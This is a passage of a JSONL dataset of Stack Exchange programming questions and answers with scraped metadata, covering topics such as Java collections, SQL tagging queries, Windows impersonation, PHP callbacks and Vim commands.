32.0\n\nsegments = set()\nfor s in sections: segments.add(s.segment)\nsegment_colors = dict()\ni = 0\nfor s in segments:\n    segment_colors[s] = colors[i % len(colors)]\n    i += 1\n\ntotal_size = 0\nfor s in symbols:\n    total_size += s.size\n\nsections.sort(lambda a,b: a.address - b.address)\nsymbols.sort(lambda a,b: a.address - b.address)\n\ndef section_from_address(addr):\n    for s in sections:\n        if addr >= s.address and addr < (s.address + s.size):\n            return s\n    return None\n\nprint \"<html><head>\"\nprint \"  <style>a { color: black; text-decoration: none; font-family:monospace }</style>\"\nprint \"<body>\"\nprint \"<table cellspacing='1px'>\"\nfor sym in symbols:\n    section = section_from_address(sym.address)\n    height = (total_height/total_size) * sym.size\n    font_size = 1.0 if height > 1.0 else height\n    print \"<tr style='background-color:#%s;height:%gem;line-height:%gem;font-size:%gem'><td style='overflow:hidden'>\" % \\\n        (segment_colors[section.segment], height, height, font_size)\n    print \"<a href='#%s'>%s</a>\" % (sym.name, sym.name)\n    print \"</td></tr>\"\nprint \"</table>\"\nprint \"</body></html>\"\n```\n```\nAnd here's a bad rendering of the HTML it outputs:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.299353"}
{"id": "hf_bb80e4bc7c28", "question": "<p>Anyone have a good rule of thumb for choosing between different implementations of Java Collection interfaces like List, Map, or Set?</p>\n\n<p>For example, generally why or in what cases would I prefer to use a Vector or an ArrayList, a Hashtable or a HashMap?</p>\n", "question_body": "", "answer": "About your first question...\nList, Map and Set serve different purposes. I suggest reading about the Java Collections Framework at\nhttp://java.sun.com/docs/books/tutorial/collections/interfaces/index.html\n.\nTo be a bit more concrete:\nuse List if you need an array-like data structure and you need to iterate over the elements\nuse Map if you need something like a dictionary\nuse a Set if you only need to decide if something belongs to the set or not.\nAbout your second question...\nThe main difference between Vector and ArrayList is that the former is synchronized, the latter is not synchronized. You can read more about synchronization in\nJava Concurrency in Practice\n.\nThe difference between Hashtable (note that the T is not a capital letter) and HashMap is similiar, the former is synchronized, the latter is not synchronized.\nI would say that there are no rule of thumb for preferring one implementation or another, it really depends on your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.347490"}
{"id": "hf_7dca7b29e9b3", "question": "<p>How do you schedule a Windows Mobile application to periodically start up to perform some background processing.  For example, assume I'm writing an email client and want to check for email every hour, regardless of whether my app is running at the time.</p>\n\n<p>The app is a native C/C++ app on Windows Mobile 5.0 or later.</p>\n", "question_body": "", "answer": "the function you need is:\n```\nCeRunAppAtTime( appname, time )\n```\nthat isn't the exact signature, there is also\n```\nCeRunAppAtEvent\n```\n, they should both be in the MSDN docs (but linking is useless the way MSDN urls always change)\nThe normal way to use these (and\n```\nRunAppAtTime\n```\nin the managed world via\n```\nOpenNETCF.Win32.Notify\n```\n) is that for periodic execution, every time your app runs, it will rescedule itself for its next run-time.\nIf your app is running, the new instance should bring up the already running process. If it isn't running, then it is just like starting up normally - from mmory it passes some argument to the process so it can tell it is being scheduled and not started some other way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.374528"}
{"id": "hf_7aed4b720253", "question": "<p>How would you design a database to support the following tagging features:</p>\n\n<ul>\n<li>items can have a large number of tags</li>\n<li>searches for all items that are tagged with a given set of tags must be quick (the items must have ALL tags, so it's an AND-search, not an OR-search)</li>\n<li>creating/writing items may be slower to enable quick lookup/reading</li>\n</ul>\n\n<p>Ideally, the lookup of all items that are tagged with (at least) a set of n given tags should be done using a single SQL statement. Since the number of tags to search for as well as the number of tags on any item are unknown and may be high, using JOINs is impractical.</p>\n\n<p>Any ideas?</p>\n\n<hr>\n\n<p>Thanks for all the answers so far.</p>\n\n<p>If I'm not mistaken, however, the given answers show how to do an OR-search on tags. (Select all items that have one or more of n tags). I am looking for an efficient AND-search. (Select all items that have ALL n tags - and possibly more.)</p>\n", "question_body": "", "answer": "I don't see a problem with a straightforward solution: Table for items, table for tags, crosstable for \"tagging\"\nIndices on cross table should be enough optimisation. Selecting appropriate items would be\n```\n```\nSELECT * FROM items WHERE id IN  \n    (SELECT DISTINCT item_id FROM item_tag WHERE  \n    tag_id = tag1 OR tag_id = tag2 OR ...)\n```\n```\nAND tagging would be\n```\n```\nSELECT * FROM items WHERE  \n    EXISTS (SELECT 1 FROM item_tag WHERE id = item_id AND tag_id = tag1)  \n    AND EXISTS (SELECT 1 FROM item_tag WHERE id = item_id AND tag_id = tag2)  \n    AND ...\n```\n```\nwhich is admittedly, not so efficient for large number of comparing tags. If you are to maintain tag count in memory, you could make query to start with tags that are not often, so AND sequence would be evaluated quicker. Depending on expected number of tags to be matched against and expectancy of matching any single of them this could be OK solution, if you are to match 20 tags, and expect that some random item will match 15 of them, then this would still be heavy on a database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.435869"}
{"id": "hf_a96b4d886ad4", "question": "<p>Does anyone know of a similar product to Citrix Server that'll run on the Mac OS?</p>\n\n<p>Essentially, I'm looking to allow multiple remote users to log in to the same OSX Server at the same time (with full visual desktop, not SSH).</p>\n", "question_body": "", "answer": "OS X's Quartz window server has no remoting abilities, unlike\nits predecessor\n. X11\ndoes\n, but 'native' OS X applications don't use that; of the few Mac apps typically run in X11 (such as GIMP or CrossOver), none are specific to the Mac, so you might as well run them on a different OS.\nThat said, if all you want is to visually remote-control a session, it is possible to use VNC or a derivative, such as Apple Remote Desktop. Since 10.4, this allows for multiple simultaneous sessions,\nas implemented with Vine Server\n. Remote Desktop also has other abilities such as remotely installing and updating software.\n(Unlike Citrix and X11, VNC does\nnot\nsend drawing commands over the network; it instead transmits a compressed image representation pixel-per-pixel.)\nYou should specify your exact needs.\nYou will not get a Citrix-like experience where you can run single Mac apps in their own remote session.\nYou will, however, get remote graphical control, and that\nmay\nbe more than enough for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.523023"}
{"id": "hf_ba222ece57a1", "question": "<p>I would like to use a component that exposes the datasource property, but instead of supplying the datasource with whole list of objects, I would like to use only simple object. Is there any way to do this ?</p>\n\n<p>The mentioned component is DevExpress.XtraDataLayout.DataLayoutControl - this is fairly irrelevant to the question though.</p>\n", "question_body": "", "answer": "Databinding expects an IEnumerable object, because it enumorates over it just like a foreach loop does.\nSo to do this, just wrap your single object in an IEnumerable.\nEven this would work:\n```\n```\nDataBindObject.DataSource = new List<YourObject>().Add(YourObjectInstance);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.546894"}
{"id": "hf_db78c46d8cb6", "question": "<p>I am trying to publish an Asp.net MVC web application locally using the NAnt and MSBuild. This is what I am using for my NAnt target;</p>\n\n<pre><code>&lt;target name=\"publish-artifacts-to-build\"&gt;\n    &lt;msbuild project=\"my-solution.sln\" target=\"Publish\"&gt;\n      &lt;property name=\"Configuration\" value=\"debug\" /&gt;\n      &lt;property name=\"OutDir\" value=\"builds\\\" /&gt;\n      &lt;arg line=\"/m:2 /tv:3.5\" /&gt;\n    &lt;/msbuild&gt;\n&lt;/target&gt;\n</code></pre>\n\n<p>and all I get is this as a response;</p>\n\n<pre><code>[msbuild]          Skipping unpublishable project.\n</code></pre>\n\n<p>Is it possible to publish web applications via the command line in this way?</p>\n", "question_body": "", "answer": "The \"Publish\" target you are trying to invoke is for \"OneClick\" deployment, not for publishing a website...  This is why you are getting the seemingly bizarre message. \nYou would want to use the AspNetCompiler task, rather than the MSBuild task.  See\nhttp://msdn2.microsoft.com/en-us/library/ms164291.aspx\nfor more info on this task.  Your \"PublishDir\" would correspond to the TargetPath property of the task.\nSource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.582080"}
{"id": "hf_cbfc5b1d875f", "question": "<p>I wrote a simple Windows Forms program in C#. I want to be able to input a windows user name and password and when I click a login button to run code run as the user I've entered as input.</p>\n", "question_body": "", "answer": "You can use the WindowsIdentity.Impersonate method to \nachieve this. This method allows code to impersonate a different Windows \nuser. Here is a link for more information on this method with a good sample:\nhttp://msdn.microsoft.com/en-us/library/system.security.principal.windowsidentity.impersonate.aspx\nComplete example:\n```\n```\n// This sample demonstrates the use of the WindowsIdentity class to impersonate a user.\n// IMPORTANT NOTES:\n// This sample can be run only on Windows XP.  The default Windows 2000 security policy\n// prevents this sample from executing properly, and changing the policy to allow\n// proper execution presents a security risk.\n// This sample requests the user to enter a password on the console screen.\n// Because the console window does not support methods allowing the password to be masked,\n// it will be visible to anyone viewing the screen.\n// The sample is intended to be executed in a .NET Framework 1.1 environment.  To execute\n// this code in a 1.0 environment you will need to use a duplicate token in the call to the\n// WindowsIdentity constructor. See KB article Q319615 for more information.\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing System.Security.Permissions;\nusing System.Windows.Forms;\n\n[assembly:SecurityPermissionAttribute(SecurityAction.RequestMinimum, UnmanagedCode=true)]\n[assembly:PermissionSetAttribute(SecurityAction.RequestMinimum, Name = \"FullTrust\")]\npublic class ImpersonationDemo\n{\n    [DllImport(\"advapi32.dll\", SetLastError=true, CharSet = CharSet.Unicode)]\n    public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword,\n        int dwLogonType, int dwLogonProvider, ref IntPtr phToken);\n\n    [DllImport(\"kernel32.dll\", CharSet=System.Runtime.InteropServices.CharSet.Auto)]\n    private unsafe static extern int FormatMessage(int dwFlags, ref IntPtr lpSource,\n        int dwMessageId, int dwLanguageId, ref String lpBuffer, int nSize, IntPtr *Arguments);\n\n    [DllImport(\"kernel32.dll\", CharSet=CharSet.Auto)]\n    public extern static bool CloseHandle(IntPtr handle);\n\n    [DllImport(\"advapi32.dll\", CharSet=CharSet.Auto, SetLastError=true)]\n    public extern static bool DuplicateToken(IntPtr ExistingTokenHandle,\n        int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);\n\n    // Test harness.\n    // If you incorporate this code into a DLL, be sure to demand FullTrust.\n    [PermissionSetAttribute(SecurityAction.Demand, Name = \"FullTrust\")]\n    public static void Main(string[] args)\n    {\n        IntPtr tokenHandle = new IntPtr(0);\n        IntPtr dupeTokenHandle = new IntPtr(0);\n        try\n        {\n            string userName, domainName;\n            // Get the user token for the specified user, domain, and password using the\n            // unmanaged LogonUser method.\n            // The local machine name can be used for the domain name to impersonate a user on this machine.\n            Console.Write(\"Enter the name of the domain on which to log on: \");\n            domainName = Console.ReadLine();\n\n            Console.Write(\"Enter the login of a user on {0} that you wish to impersonate: \", domainName);\n            userName = Console.ReadLine();\n\n            Console.Write(\"Enter the password for {0}: \", userName);\n\n            const int LOGON32_PROVIDER_DEFAULT = 0;\n            //This parameter causes LogonUser to create a primary token.\n            const int LOGON32_LOGON_INTERACTIVE = 2;\n\n            tokenHandle = IntPtr.Zero;\n\n            // Call LogonUser to obtain a handle to an access token.\n            bool returnValue = LogonUser(userName, domainName, Console.ReadLine(),\n                LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT,\n                ref tokenHandle);\n\n            Console.WriteLine(\"LogonUser called.\");\n\n            if (false == returnValue)\n            {\n                int ret = Marshal.GetLastWin32Error();\n                Console.WriteLine(\"LogonUser failed with error code : {0}\", ret);\n                throw new System.ComponentModel.Win32Exception(ret);\n            }\n\n            Console.WriteLine(\"Did LogonUser Succeed? \" + (returnValue? \"Yes\" : \"No\"));\n            Console.WriteLine(\"Value of Windows NT token: \" + tokenHandle);\n\n            // Check the identity.\n            Console.WriteLine(\"Before impersonation: \"\n                + WindowsIdentity.GetCurrent().Name);\n            // Use the token handle returned by LogonUser.\n            WindowsIdentity newId = new WindowsIdentity(tokenHandle);\n            WindowsImpersonationContext impersonatedUser = newId.Impersonate();\n\n            // Check the identity.\n            Console.WriteLine(\"After impersonation: \"\n                + WindowsIdentity.GetCurrent().Name);\n\n            // Stop impersonating the user.\n            impersonatedUser.Undo();\n\n            // Check the identity.\n            Console.WriteLine(\"After Undo: \" + WindowsIdentity.GetCurrent().Name);\n\n            // Free the tokens.\n            if (tokenHandle != IntPtr.Zero)\n                CloseHandle(tokenHandle);\n\n        }\n        catch(Exception ex)\n        {\n            Console.WriteLine(\"Exception occurred. \" + ex.Message);\n        }\n\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.627583"}
{"id": "hf_268bb96468ca", "question": "<p>I would like to implement something similar to a c# delegate method in PHP.  A quick word to explain what I'm trying to do overall:  I am trying to implement some asynchronous functionality. Basically, some resource-intensive calls that get queued, cached and dispatched when the underlying system gets around to it. When the asynchronous call finally receives a response I would like a callback event to be raised.</p>\n\n<p>I am having some problems coming up with a mechanism to do callbacks in PHP.  I have come up with a method that works for now but I am unhappy with it.  Basically, it involves passing a reference to the object and the name of the method on it that will serve as the callback (taking the response as an argument) and then use eval to call the method when need be.  This is sub-optimal for a variety of reasons, is there a better way of doing this that anyone knows of? </p>\n", "question_body": "", "answer": "How do you feel about using the\nObserver\npattern? If not, you can implement a true callback this way:\n```\n```\n// This function uses a callback function. \nfunction doIt($callback) \n{ \n    $data = \"this is my data\";\n    $callback($data); \n} \n\n// This is a sample callback function for doIt(). \nfunction myCallback($data) \n{ \n    print 'Data is: ' .  $data .  \"\\n\"; \n} \n\n// Call doIt() and pass our sample callback function's name. \ndoIt('myCallback');\n```\n```\nDisplays: Data is: this is my data", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.654245"}
{"id": "hf_45ee11118e13", "question": "<p>Almost every Java book I read talks about using the interface as a way to share state and behaviour between objects that when first \"constructed\" did not seem to share a relationship. </p>\n\n<p>However, whenever I see architects design an application, the first thing they do is start programming to an interface. How come? How do you know all the relationships between objects that will occur within that interface? If you already know those relationships, then why not just extend an abstract class?</p>\n", "question_body": "", "answer": "Programming to an interface means respecting the \"contract\" created by using that interface. And so if your\n```\nIPoweredByMotor\n```\ninterface has a\n```\nstart()\n```\nmethod, future classes that implement the interface, be they\n```\nMotorizedWheelChair\n```\n,\n```\nAutomobile\n```\n, or\n```\nSmoothieMaker\n```\n, in implementing the methods of that interface, add flexibility to your system, because one piece of code can start the motor of many different types of things, because all that one piece of code needs to know is that they respond to\n```\nstart()\n```\n. It doesn't matter\nhow\nthey start, just that they\nmust start\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.701268"}
{"id": "hf_b24b9b06019f", "question": "<p>How do I set a property of a user control in <code>ListView</code>'s <code>LayoutTemplate</code> from the code-behind?</p>\n\n<pre><code>&lt;asp:ListView ...&gt;\n&lt;LayoutTemplate&gt;\n&lt;myprefix:MyControl id=\"myControl\" ... /&gt;\n&lt;/LayoutTemplate&gt;\n...\n&lt;/asp:ListView&gt;\n</code></pre>\n\n<p>I want to do this:</p>\n\n<pre><code>myControl.SomeProperty = somevalue;\n</code></pre>\n\n<p>Please notice that my control is not in <code>ItemTemplate</code>, it is in <code>LayoutTemplate</code>, so it does not exist for all items, it exists only once. So I should be able to access it once, not for every data bound item.</p>\n", "question_body": "", "answer": "Use the\nFindControl\nmethod on each ListViewItem.\n```\n```\nvar control = (MyControl)Item.FindControl(\"yourControlId\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.724985"}
{"id": "hf_2512192c2890", "question": "<p>What is the maximum size for a MySQL table? Is it 2 million at 50GB? 5 million at 80GB?</p>\n\n<p>At the higher end of the size scale, do I need to think about compressing the data? Or perhaps splitting the table if it grew too big?</p>\n", "question_body": "", "answer": "About your first question, the effective maximum size for the\ndatabase\nis usually determined by operating system, specifically the file size MySQL Server will be able to create, not by MySQL Server itself. Those limits play a big role in\ntable\nsize limits. And MyISAM works differently from InnoDB. So any tables will be dependent on those limits.\nIf you use InnoDB you will have more options on manipulating table sizes, resizing the tablespace is an option in this case, so if you plan to resize it, this is the way to go. Give a look at\nThe table is full\nerror page.\nI am not sure the real record quantity of each table given all necessary information (OS, Table type, Columns, data type and size of each and etc...) And I am not sure if this info is easy to calculate, but I've seen simple table with around 1bi records in a couple cases and MySQL didn't gave up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.745347"}
{"id": "hf_9e9a97ed32f5", "question": "<p>I want to write a command that specifies \"the word under the cursor\" in VIM.  For instance, let's say I have the cursor on a word and I make it appear twice.  For instance, if the word is \"abc\" and I want \"abcabc\" then I could type:  </p>\n\n<pre><code>:s/\\(abc\\)/\\1\\1/\n</code></pre>\n\n<p>But then I'd like to be able to move the cursor to \"def\" and use the same command to change it to \"defdef\":  </p>\n\n<pre><code>:s/\\(def\\)/\\1\\1/\n</code></pre>\n\n<p>How can I write the command in the commandline so that it does this?</p>\n\n<pre><code>:s/\\(*whatever is under the commandline*\\)/\\1\\1\n</code></pre>\n", "question_body": "", "answer": "```\n<cword>\n```\nis the word under the cursor (:help\n```\n<cword>\n```\n).\nSorry, I should have been more complete in this answer.\nYou can nmap a command to it, or this series of keystrokes for the lazy will work:\n```\n```\nb #go to beginning of current word\nyw #yank to register\n```\n```\nThen, when you are typing in your pattern you can hit\n```\n<control-r>0<enter>\n```\nwhich will paste in your command the contents of the 0-th register.\nYou can also make a command for this like:\n```\n```\n:nmap <leader>w :s/\\(<c-r>=expand(\"<cword>\")<cr>\\)/\n```\n```\nWhich will map hitting '\\' and 'w' at the same time to replace your command line with\n```\n```\n:s/\\(<currentword>\\)/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.767843"}
{"id": "hf_46ed64439a7e", "question": "<p>I came across <a href=\"http://www.ddj.com/cpp/184403758\" rel=\"noreferrer\">this article</a> written by Andrei Alexandrescu and Petru Marginean many years ago, which presents and discusses a utility class called ScopeGuard for writing exception-safe code. I'd like to know if coding with these objects truly leads to better code or if it obfuscates error handling, in that perhaps the guard's callback would be better presented in a catch block? Does anyone have any experience using these in actual production code?</p>\n", "question_body": "", "answer": "It definitely improves your code. Your tentatively formulated claim, that it's obscure and that code would merit from a\n```\ncatch\n```\nblock is simply not true in C++ because RAII is an established idiom. Resource handling in C++\nis\ndone by resource acquisition and garbage collection is done by implicit destructor calls.\nOn the other hand, explicit\n```\ncatch\n```\nblocks would bloat the code and introduce subtle errors because the code flow gets much more complex and resource handling has to be done explicitly.\nRAII (including\n```\nScopeGuard\n```\ns) isn't an obscure technique in C++ but firmly established best-practice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.794171"}
{"id": "hf_30560f653176", "question": "<p>Anybody know of a way to copy a file from path A to path B and suppressing the Windows file system cache?<br>\nTypical use is copying a large file from a USB drive, or server to your local machine. Windows seems to swap everything out if the file is really big, e.g. 2GiB.\nPrefer example in C#, but I'm guessing this would be a Win32 call of some sort if possible.</p>\n", "question_body": "", "answer": "I am not sure if this helps, but take a look at\nIncreased Performance Using FILE_FLAG_SEQUENTIAL_SCAN\n.\nSUMMARY\nThere is a flag for CreateFile()\n  called FILE_FLAG_SEQUENTIAL_SCAN which\n  will direct the Cache Manager to\n  access the file sequentially.\nAnyone reading potentially large files\n  with sequential access can specify\n  this flag for increased performance.\n  This flag is useful if you are reading\n  files that are \"mostly\" sequential,\n  but you occasionally skip over small\n  ranges of bytes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.853367"}
{"id": "hf_0654e7beb21e", "question": "<p>Say I have a <code>Textbox</code> nested within a <code>TabControl</code>.  </p>\n\n<p>When the form loads, I would like to focus on that <code>Textbox</code> (by default the focus is set to the <code>TabControl</code>).</p>\n\n<p>Simply calling <code>textbox1.focus()</code> in the <code>Load</code> event of the form does not appear to work.  </p>\n\n<p>I have been able to focus it by doing the following:</p>\n\n<pre><code> private void frmMainLoad(object sender, EventArgs e)\n {\n     foreach (TabPage tab in this.tabControl1.TabPages) \n     {\n         this.tabControl1.SelectedTab = tab;\n     }\n }\n</code></pre>\n\n<p><strong>My question is:</strong></p>\n\n<p>Is there a more elegant way to do this?</p>\n", "question_body": "", "answer": "The following is the solution:\n```\n```\nprivate void frmMainLoad(object sender, EventArgs e)\n{\n    ActiveControl = textBox1;\n}\n```\n```\nThe better question would however be why... I'm not entirely sure what the answer to that one is.\nEdit: I suspect it is something to do with the fact that both the form, and the TabControl are containers, but I'm not sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.893996"}
{"id": "hf_17219d8b14e5", "question": "<p>Our design has one jvm that is a jboss/webapp (read/write) that is used to maintain the data via hibernate (using jpa) to the db. The model has 10-15 persistent classes with 3-5 levels of depth in the relationships.</p>\n\n<p>We then have a separate jvm that is the server using this data.  As it is running continuously we just have one long db session (read only).  </p>\n\n<p>There is currently no intra-jvm cache involved - so we manually signal one jvm from the other.</p>\n\n<p>Now when the webapp changes some data, it signals the server to reload the changed data.  What we have found is that we need to tell hibernate to purge the data and then reload it.  Just doing a fetch/merge with the db does not do the job - mainly in respect of the objects several layers down the hierarchy.  </p>\n\n<p>Any thoughts on whether there is anything fundamentally wrong with this design or if anyone is doing this and has had better luck with working with hibernate on the reloads.</p>\n\n<p>Thanks,\nChris</p>\n", "question_body": "", "answer": "Chris, I'm a little confused about your circumstances. If I understand correctly, you have a both a web app (read/write) a standalone application (read-only?) using Hibernate to access a shared database. The changes you make with the web app aren't visible to the standalone app. Is that right?\nIf so, have you considered using a different second-level cache implementation? I'm wondering if you might be able to use a clustered cache that is shared by both the web application and the standalone application. I believe that SwarmCache, which is integrated with Hibernate, will allow this, but I haven't tried it myself.\nIn general, though, you should know that the contents of a given cache will never be aware of activity by another application (that's why I suggest having both apps share a cache). Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.930717"}
{"id": "hf_bdd810c0b6fc", "question": "<p>What's the \"right\" way to do the following as a boolean expression?</p>\n\n<pre><code>for i in `ls $1/resources`; do\n    if [ $i != \"database.db\" ]\n    then\n        if [ $i != \"tiles\" ]\n        then\n            if [ $i != \"map.pdf\" ]\n            then\n                if [ $i != \"map.png\" ]\n                then\n                    svn export -q $1/resources/$i ../MyProject/Resources/$i\n...\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfor i in `ls $1/resources`; do\n    if [ $i != \"database.db\" ] && [ $i != \"tiles\" ] && [ $i != \"map.pdf\" ] && [ $i != \"map.png\" ]; then\n        svn export -q $1/resources/$i ../MyProject/Resources/$i\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.018652"}
{"id": "hf_f95c4d52b728", "question": "<p>I have to choose an online WYSIWYG editor. I'm pending between <a href=\"http://tinymce.moxiecode.com/\" rel=\"nofollow noreferrer\">TinyMCE</a> and <a href=\"http://trac.xinha.org/\" rel=\"nofollow noreferrer\">Xinha</a>. My application is developed in Asp.Net 3.5. Could you help me with with some pros and cons? </p>\n", "question_body": "", "answer": "I've never used Xinha, but I can vouch for TinyMCE. It's fast, scales well, and is infinitely customizable. I particularly like the dynamic loading of functionality, which means you only take the performance hit for the stuff you use.\nIt also includes language-specific\ncompressors\nto further increase performance (C# is supported, along with PHP, Java and ColdFusion) by GZipping components.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.042695"}
{"id": "hf_8deab28878ed", "question": "<p>Here is a scenario: Let's say I have site with two controllers responsible for displaying different type of content - Pages and Articles. I need to embed Partial View into my masterpage that will list pages and articles filtered with some criteria, and be displayed on each page. I cannot set Model on my masterpage (am I right?). How do I solve this task using Html.RenderPartial?</p>\n\n<p>[EDIT]\nYes, I'd probably create separate partial views for listing articles and pages, but still, there is a barrier that I cannot and shouldn't set model on masterpage. I need somehow to say \"here are the pages\" as an argument to my renderpartial, and also for articles. Entire concept of renderpartial with data from database in masterpages is a bit blurry to me.</p>\n", "question_body": "", "answer": "The ViewData Model property should only be used for the content that you're viewing/editing on the main section of the UI.\nOther parts of the view may need some data present in ViewData, so just add those to the dictionary.\nI'd just pass data from the dictionary like this:  ViewData[\"articles\"] to the partial.  (or ViewData.Get() from MvcContrib).\nYou might also look at the recently implemented SubController pattern implemented in\nMvcContrib\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.067232"}
{"id": "hf_3d1277dbb0b3", "question": "<p>Some e-Marketing tools claim to choose which web page to display based on where you were before. That is, if you've been browsing truck sites and then go to Ford.com, your first page would be of the Ford Explorer.</p>\n\n<p>I know you can get the immediate preceding page with HTTP_REFERRER, but how do you know where they were 6 sites ago? </p>\n", "question_body": "", "answer": "Javascript this should get you started:\nhttp://www.dicabrio.com/javascript/steal-history.php\nThere are more nefarius means to:\nhttp://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/\nEdit:I wanted to add that although this works it is a sleazy marketing teqnique and an invasion of privacy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.091685"}
{"id": "hf_cf9ba2a97a76", "question": "<p><a href=\"http://en.wikipedia.org/wiki/Ajax_%28programming%29\" rel=\"nofollow noreferrer\">Ajax</a>, <a href=\"http://en.wikipedia.org/wiki/Adobe_Flex\" rel=\"nofollow noreferrer\">Flex</a> and <a href=\"http://en.wikipedia.org/wiki/Microsoft_Silverlight\" rel=\"nofollow noreferrer\">Silverlight</a> are a few ways to make more interactive web applications.  What kinds of factors would you consider when deciding which to use for a new web application?  </p>\n\n<p>Does any one of them offer better cross-platform compatibility, performance, developer tools or community support?  </p>\n", "question_body": "", "answer": "The web runtimes like Flex and Silverlight all offer enticing things, but come with two big costs:\nThey run only within a rectangle on the page, and don't interact with normal web widgets\nThey are only available to people who have that plug-in installed\nEven the nearly-ubiquitous Flash isn't installed on every web browser, so by choosing to use a plug-in runtime you're excluding part of your audience.\nIn contrast, JavaScript (or Ajax) is available on pretty much every browser, and interacts better with normal web pages, but is a more primitive and restricting language. Using it for complex animations can be tricky, and you'll need to test your applications in more versions on more platforms to make sure it works.\nCross-platform compatibility isn't the issue it used to be, so the issue is this:\nWill you gain more in the features of a plug-in library than you'll lose in the audience you exclude?\nMy own answer has so far always been JavaScript/Ajax, but I'd re-evaluate that in any new project.", "tags": [], "source": "huggingface", 